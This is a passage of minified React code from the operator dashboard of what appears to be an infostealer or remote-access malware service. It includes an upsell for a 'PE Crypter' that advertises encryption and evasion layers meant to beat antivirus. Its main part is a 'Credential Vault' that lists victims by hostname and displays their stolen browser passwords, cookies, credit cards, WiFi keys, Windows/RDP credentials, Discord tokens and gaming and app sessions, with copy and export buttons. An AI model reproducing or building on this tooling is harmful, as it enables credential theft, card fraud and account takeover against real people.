2.25 0 0 0 17 16.75V3.517c0-1.103-.806-2.068-1.93-2.207A41.403 41.403 0 0 0 10 1Z",clipRule:"evenodd"})}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"Protection score"})]}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"flex gap-px",children:[1,2,3,4,5].map(_=>a.jsx("div",{className:`w-2.5 h-1 transition-colors duration-300 ${_<=P?"bg-zerin-accent":"bg-zerin-panel-border"}`},_))}),a.jsx("span",{className:`font-mono text-[11px] font-semibold tabular-nums ${P>=4?"text-zerin-accent":P>=2?"text-zerin-text-dim":"text-zerin-text-muted"}`,children:P===5?"MAX":`${P}/5`})]})]})})]}),a.jsx("div",{className:"mt-5 bg-zerin-panel border border-zerin-panel-border p-4 space-y-2.5",children:["XOR + AES-256-CBC layered encryption","Random keys per build — zero shared signatures","Fire-and-forget — no files stored on server","Stub compiled per-request with unique entropy"].map((_,M)=>a.jsxs("div",{className:"flex items-start gap-2.5",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-accent/50 mt-px",children:">"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:_})]},M))})]})]})]})})]}):a.jsxs("div",{className:"flex items-center justify-center min-h-[80vh] p-6",children:[a.jsx("style",{children:X2}),a.jsxs("div",{className:"relative max-w-lg w-full",children:[a.jsx("div",{className:"absolute -inset-px bg-gradient-to-b from-zerin-accent/20 via-transparent to-transparent"}),a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border p-10 text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 border border-zerin-panel-border-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})})}),a.jsx("div",{className:"font-mono text-xs text-zerin-accent/60 tracking-[0.3em] uppercase mb-2",children:"Premium Feature"}),a.jsx("h2",{className:"font-display text-2xl font-bold text-zerin-text mb-3",children:"PE Crypter"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-8 leading-relaxed max-w-sm mx-auto",children:"Layered XOR + AES-256 encryption with configurable injection modes, evasion layers, and per-build random keys."}),a.jsxs(ut,{to:"/#pricing",className:"inline-flex items-center gap-2 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 hover:shadow-[0_0_24px_rgba(6,182,212,0.3)] transition-all duration-300",children:["Upgrade License",a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5.22 14.78a.75.75 0 0 0 1.06 0l7.22-7.22v5.69a.75.75 0 0 0 1.5 0v-7.5a.75.75 0 0 0-.75-.75h-7.5a.75.75 0 0 0 0 1.5h5.69l-7.22 7.22a.75.75 0 0 0 0 1.06Z",clipRule:"evenodd"})})]})]})]})]})}function $V(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function Z2(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;la.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function BV(){var A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze,X,re,oe,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const L=await w6();t(L)}catch(L){s(L instanceof Error?L.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const L=new Map;for(const ie of e){let de=L.get(ie.agent_id);de||(de={agent_id:ie.agent_id,hostname:ie.hostname,username:ie.username,os_version:ie.os_version,grabs:[]},L.set(ie.agent_id,de)),de.grabs.push({task_id:ie.task_id,output:ie.output,received_at:ie.received_at})}return Array.from(L.values())})(),j=x?w.filter(L=>L.hostname.toLowerCase().includes(x.toLowerCase())||L.username.toLowerCase().includes(x.toLowerCase())||L.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(L,ie)=>{var de,lt,Ct,Lt,gr,Qr,Li,As,Cf,Jr,bt,rn,zv,Sv,Cv,Pv,Ev,_v,Av;l({agent:L,grabIdx:ie});try{const ct=JSON.parse(L.grabs[ie].output);u(ct);const yn=new Set;(((de=ct.chrome_passwords)==null?void 0:de.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(gr=ct.wifi)!=null&&gr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((As=ct.telegram)!=null&&As.found||(Cf=ct.filezilla)!=null&&Cf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((zv=ct.steam)!=null&&zv.found||(Sv=ct.epic)!=null&&Sv.found||(Cv=ct.minecraft)!=null&&Cv.length||(Pv=ct.roblox)!=null&&Pv.found)&&yn.add("gaming"),(Ev=ct.wallets)!=null&&Ev.length&&yn.add("wallets"),(_v=ct.vpn)!=null&&_v.length&&yn.add("vpn"),(Av=ct.errors)!=null&&Av.length&&yn.add("errors"),f(yn)}catch{u(null)}},k=L=>{f(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},z=L=>{v(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},S=(L,ie)=>{navigator.clipboard.writeText(L).then(()=>{const de=ie?ie.clientX:window.innerWidth/2,lt=ie?ie.clientY-30:window.innerHeight/2;h({text:"Copied!",x:de,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},O=()=>{if(!c||!o)return;const L=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ie=URL.createObjectURL(L),de=document.createElement("a");de.href=ie,de.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,de.click(),URL.revokeObjectURL(ie)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:L=>g(L.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r + placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r + transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(L=>{const ie=y.has(L.agent_id),de=(o==null?void 0:o.agent.agent_id)===L.agent_id,lt=L.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?Q2(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{L.grabs.length===1?N(L,0):(z(L.agent_id),!ie&&!de&&N(L,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50 + ${de?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:L.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:L.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:L.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[L.grabs.length," grab",L.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:$V(lt.received_at)})]})]}),L.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[L.grabs.length," historical grabs"]})]})]}),ie&&L.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:L.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===L.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(L,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors + ${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:Z2(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},L.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:Z2(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[Q2(c)," items"]}),a.jsxs("button",{onClick:O,className:`inline-flex items-center gap-1.5 text-xs font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((A=c.chrome_passwords)==null?void 0:A.length)??0)+(((T=c.firefox_passwords)==null?void 0:T.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const L=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return L.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:L.map((ie,de)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},de))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.value,de),children:[L.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((G=c.chrome_cards)==null?void 0:G.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:L.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.number,de),children:L.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((K=c.wifi)==null?void 0:K.length)??0,expanded:d.has("wifi"),onToggle:()=>k("wifi"),children:(_=c.wifi)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:L.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:((M=c.windows_credentials)==null?void 0:M.length)??0,expanded:d.has("wincreds"),onToggle:()=>k("wincreds"),children:(F=c.windows_credentials)!=null&&F.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((L,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${L.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[L.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),L.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.username,de),children:L.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((U=c.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord"),onToggle:()=>k("discord"),children:(V=c.discord_tokens)!=null&&V.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:de=>S(L.token,de),children:[L.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((ae=c.filezilla)==null?void 0:ae.length)??0)+(((ue=c.winscp)==null?void 0:ue.length)??0)+(((be=c.putty)==null?void 0:be.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>k("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((q=c.telegram)==null?void 0:q.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:L=>S(c.telegram.path,L),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((Y=c.winscp)==null?void 0:Y.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((ne=c.putty)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:L.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user})]},ie))})})]}),(((B=c.outlook)==null?void 0:B.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),!((le=c.telegram)!=null&&le.found)&&!((we=c.filezilla)!=null&&we.length)&&!((Ne=c.winscp)!=null&&Ne.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!(($=c.outlook)!=null&&$.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((ve=c.epic)!=null&&ve.found?1:0)+(((H=c.minecraft)==null?void 0:H.length)??0)+((se=c.roblox)!=null&&se.found?1:0),expanded:d.has("gaming"),onToggle:()=>k("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((W=c.steam)==null?void 0:W.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic 